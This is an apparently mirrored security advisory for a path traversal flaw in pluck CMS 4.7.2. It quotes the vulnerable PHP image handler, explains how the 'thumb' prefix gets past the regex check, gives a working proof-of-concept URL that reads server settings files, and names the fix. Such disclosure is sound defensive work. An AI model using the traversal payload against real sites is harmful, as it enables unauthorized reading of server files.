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pluck CMS 4.7.2 Path Traversal Vulnerability
[# Exploit Title: pluck CMS 4.7.2 Path Traversal
# Date: 21-05-2015
# Software Link: http://www.pluck-cms.org/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
1. Description
When we use word `thumb` at the begining of `$_GET['image']` it's possible to omit `preg_match()` function.
File: data/modules/albums/albums_getimage.php
$image = $_GET['image'];
//Then, check for hacking attempts (Remote Code Execution), and block them.
if (strpos($image, 'thumb') === false) {
if (preg_match('#([.*])([/])([A-Za-z0-9.]{0,11})#', $image, $matches)) {
if ($image != $matches[0]) {
unset($image);
die('A hacking attempt has been detected.');
}
}
}
elseif (strpos($image, 'thumb') !== false) {
if (preg_match('#([.*])([/])thumb([/])([A-Za-z0-9.]{0,11})#', $image, $matches)) {
if ($image != $matches[0]) {
unset($image);
die('A hacking attempt has been detected.');
}
}
}
//...if no hacking attempts found:
//Check if file exists.
if (file_exists('../../settings/modules/albums/'.$image)) {
//Generate the image, make sure it doesn't end up in the visitors buffer.
header('Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0');
header('Expires: Thu, 19 Nov 1981 08:52:00 GMT');
header('Pragma: no-cache');
header('Content-Type: image/jpeg');
echo readfile('../../settings/modules/albums/'.$image);
}
//If image doesn't exist, send 404 header.
else
header('HTTP/1.0 404 Not Found');
http://security.szurek.pl/pluck-cms-472-path-traversal.html
2. Proof of Concept
http://pluck-url/data/modules/albums/albums_getimage.php?image=thumb/../../../../settings/langpref.php
3. Solution:
Update to version 4.7.3
https://github.com/pluck-cms/pluck/archive/4.7.3.zip
# 0day.today [2024-07-07] #